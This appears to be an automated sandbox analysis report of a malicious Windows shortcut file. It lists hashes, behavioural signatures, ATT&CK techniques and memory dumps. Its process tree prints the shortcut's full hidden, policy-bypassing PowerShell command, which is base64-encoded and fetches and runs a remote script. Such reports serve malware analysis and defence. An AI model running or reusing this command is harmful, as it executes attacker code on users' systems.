eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
submitted
05/04/2024, 11:16

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General

Target
DOC5723-57235723.lnk
Size 10KB
Sample240405-nc45bsad2x
SHA256 eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0
MD5 dec2ee189e7b882fd5059db29646d4c2
SHA1 d7ae2f7991fecf19f24c37c3b8034c98f1b3f12f
SHA512 e37dd83c3e98c59df3cbedd0ea6623617833e84d20a26102b7f9a7d960a19e241dccec19b19d812117f39499a373602f03436db64e121e18d91b4d40da7ca47e
SSDEEP 192:8z5z9h43MSBfSW7rD6N+7yURE5sJloSR6wVlZevESj0s+l2UeU/poOEDhK9Mtd:u53+MS5hrDqLiJ/R6kn0n2kU/p0DhHtd
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 2452	2200	cmd.exe	29
PID 2200 wrote to memory of 2452	2200	cmd.exe	29
PID 2200 wrote to memory of 2452	2200	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2452-38-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

Download

memory/2452-39-0x00000000022E0000-0x00000000022E8000-memory.dmp

Download

memory/2452-40-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Download

memory/2452-41-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2452-42-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

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memory/2452-43-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2452-44-0x0000000002820000-0x00000000028A0000-memory.dmp

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memory/2452-45-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

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